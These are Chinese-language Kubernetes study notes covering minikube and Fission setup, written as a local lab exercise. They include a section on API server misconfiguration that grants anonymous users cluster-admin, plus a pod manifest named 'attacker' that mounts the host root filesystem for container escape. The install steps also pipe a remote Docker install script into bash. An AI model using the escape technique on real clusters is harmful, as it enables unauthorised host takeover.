首先安装kubectl

  1. curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
  2. install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
  3. kubectl version --client

然后安装minikube

  1. curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
  2. install minikube-linux-amd64 /usr/local/bin/minikube
  3. minikube

然后安装docker

  1. curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

然后设置下docker

  1. dockerd-rootless-setuptool.sh install -f
  2. docker context use rootless

然后在root下运行

  1. minikube start --driver=docker --container-runtime=containerd --image-mirror-country='cn' --force

k8s学习笔记 - 图1

部署一个服务

刚开始按照官网的部署

  1. kubectl create deployment hello-minikube --image=k8s.gcr.io/echoserver:1.4
  2. kubectl expose deployment hello-minikube --type=NodePort --port=8080
  3. kubectl get services hello-minikube
  4. minikube service hello-minikube

发现了一些问题

k8s学习笔记 - 图2

于是删除节点和服务

  1. kubectl get po -A
  2. kubectl delete deployment hello-minikube
  3. kubectl get svc
  4. kubectl delete svc/hello-minikube

然后查log

  1. kubectl describe pod

发现是因为镜像拉不下来

于是搜索

  1. docker search echoserver

换了一个镜像

  1. kubectl create deployment hello-minikube --image=cilium/echoserver
  2. kubectl expose deployment hello-minikube --type=NodePort --port=80
  3. kubectl port-forward service/hello-minikube 7080:80

k8s学习笔记 - 图3

  1. curl --cacert ~/.minikube/ca.crt --cert ~/.minikube/profiles/minikube/client.crt --key ~/.minikube/profiles/minikube/client.key https://127.0.0.1:49164/api

配置不当产生的风险

Api Server 服务未授权

默认情况下 Api Server 在 8080 和 6443 两个端口上提供服务,8080不开启但是6443开启。

6443端口必须通过认证和授权才能被处理。

k8s学习笔记 - 图4

直接访问为403。

需要通过认证才可以访问 这里通过认证

  1. curl --cacert ~/.minikube/ca.crt --cert ~/.minikube/profiles/minikube/client.crt --key ~/.minikube/profiles/minikube/client.key https://127.0.0.1:49164/api

k8s学习笔记 - 图5

才可以访问。

如果运维人员配置不当,吧匿名用户system:anonymous绑定到cluster-admin组,从而使得6443端口允许匿名用户使用管理员权限

  1. kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
  2. #如何删除权限
  3. kubectl get clusterrolebinding
  4. kubectl delete clusterrolebinding system:anonymous

那么就不需要认证了。可以通过-s参数控制K8s集群

准备escape.yml

  1. apiVersion: v1
  2. kind: Pod
  3. metadata:
  4. name: attacker
  5. spec:
  6. containers:
  7. - name: ubuntu
  8. image: ubuntu:latest
  9. imagePullPolicy: IfNotPresent
  10. command: [ "/bin/bash", "-c", "--" ]
  11. args: [ "while true; do sleep 30; done;" ]
  12. volumeMounts:
  13. - name: escape-host
  14. mountPath: /host-escape-door
  15. volumes:
  16. - name: escape-host
  17. hostPath:
  18. path: /
  1. kubectl -s https://192.168.49.2:8443/ apply -f escape.yml
  2. kubectl -s https://192.168.49.2:8443/ exec attacker -- ls

k8s学习笔记 - 图6

k8s学习笔记 - 图7

fission安装

首先是安装,很玄学的。有时候能成功。

给出一个参考

https://0rainge.github.io/2018/04/10/FaaS踩坑之fission安装/

https://fission.io/docs/installation/#without-helm

  1. kubectl create -k "github.com/fission/fission/crds/v1?ref=v1.16.0"
  2. export FISSION_NAMESPACE="fission"
  3. kubectl create namespace $FISSION_NAMESPACE
  4. kubectl config set-context --current --namespace=$FISSION_NAMESPACE
  5. kubectl apply -f https://github.com/fission/fission/releases/download/v1.16.0/fission-all-v1.16.0-minikube.yaml

按照官网来。

然后安装CLI

  1. curl -Lo fission https://github.com/fission/fission/releases/download/v1.16.0/fission-v1.16.0-linux-amd64 \
  2. && chmod +x fission && sudo mv fission /usr/local/bin/

官网安装的之后会这样

k8s学习笔记 - 图8

但是最起码还能用

然后就是添加函数

  1. # Add the stock Python env to your Fission deployment
  2. $ fission env create --name python --image fission/python-env
  3. # A Python function that prints "hello world"
  4. $ curl -LO https://raw.githubusercontent.com/fission/examples/main/python/hello.py
  5. # Upload your function code to fission
  6. $ fission function create --name hello-py --env python --code hello.py
  7. # Test your function. This takes about 100msec the first time.
  8. $ fission function test --name hello-py
  9. Hello, world!
  10. fission route create --function hello-py --url /hello

然后就可以访问

k8s学习笔记 - 图9